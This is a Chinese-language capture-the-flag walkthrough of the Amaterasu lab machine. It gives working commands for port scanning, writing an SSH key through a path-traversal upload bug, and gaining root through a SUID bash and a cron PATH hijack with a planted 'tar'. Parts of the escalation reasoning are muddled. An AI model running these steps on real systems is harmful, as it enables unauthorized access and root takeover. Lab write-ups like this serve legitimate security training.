在开始渗透Amaterasu靶机之前,我们需要先搭建好测试环境。我建议使用VirtualBox或VMware创建一个隔离的虚拟网络,将Kali Linux攻击机和靶机放在同一网段。这里有个小技巧:在VirtualBox中设置"仅主机(Host-Only)网络"可以避免对外网造成意外影响。
靶机IP确认后,第一步就是用Nmap进行全端口扫描。我习惯使用这个命令:
bash复制sudo nmap -sS -p- --min-rate 10000 192.168.244.249
参数解释:
-sS:SYN扫描,速度快且不易被发现-p-:扫描所有65535个端口--min-rate 10000:控制扫描速度扫描结果会显示开放了多个非常规端口,包括:
接下来要做服务指纹识别,这个命令我经常用:
bash复制sudo nmap -sV -sC -O -p21,25022,33414,40080 192.168.244.249
这里发现FTP允许匿名登录,这是个不错的突破口。我通常会先检查这些基础服务,因为很多管理员会忽略基本安全配置。
FTP匿名登录是个经典漏洞,但很多人不知道如何最大化利用。我测试时发现虽然能登录,但ls命令返回超时。这种情况我遇到过多次,通常是因为防火墙规则或服务配置问题。
解决方法是用binary模式传输:
bash复制ftp> binary
ftp> passive
这两个命令可以绕过一些传输限制。不过这次靶机的FTP似乎没有可用文件,我们需要转向其他入口。
这里有个经验分享:当主要入口被封时,我会立即检查其他开放端口。比如33414端口运行着Werkzeug服务,这是个Python Web框架。通过目录扫描发现了几个关键端点:
code复制/file-list?dir=/tmp
/file-upload
我用这个curl命令测试文件上传:
bash复制curl -X POST -F "file=@test.txt" -F "filename=a.txt" http://192.168.244.249:33414/file-upload
注意要确保文件扩展名在白名单内(txt/pdf/png等)。上传成功后,通过/file-list接口确认文件位置。
文件上传功能往往隐藏着巨大风险。我发现这个接口存在目录穿越漏洞,可以覆盖重要文件。通过以下步骤获取SSH访问权限:
bash复制ssh-keygen -t rsa -f attack_key
bash复制curl -X POST -F "file=@attack_key.pub" -F "filename=/home/alfredo/.ssh/authorized_keys" http://192.168.244.249:33414/file-upload
bash复制ssh -i attack_key alfredo@192.168.244.249 -p25022
成功登录后,立即查找user flag:
bash复制find / -name local.txt 2>/dev/null
cat /home/alfredo/local.txt
提权阶段我检查了sudo权限:
bash复制sudo -l
可惜需要密码。于是转向SUID检查:
bash复制find / -perm -u=s -type f 2>/dev/null
发现/bin/bash有特殊权限,可以直接提权:
bash复制bash -p
whoami # 现在已经是root了
在检查定时任务时发现了更有趣的提权路径:
bash复制cat /etc/crontab
显示每分钟执行/usr/local/bin/backup-flask.sh。
查看脚本内容:
bash复制cat /usr/local/bin/backup-flask.sh
发现它使用了环境变量PATH,且tar命令没有使用绝对路径。
利用方法:
bash复制echo 'chmod +s /bin/bash' > /home/alfredo/restapi/tar
chmod +x /home/alfredo/restapi/tar
bash复制export PATH="/home/alfredo/restapi:$PATH"
bash复制bash -p
即可获得root shell。
最后获取root flag:
bash复制cat /root/proof.txt
整个渗透过程中,最重要的是保持耐心和细致。每个看似不起眼的配置都可能成为突破口。建议新手在实战中养成记录每个尝试的习惯,这能帮助你在复杂环境中保持清晰的攻击思路。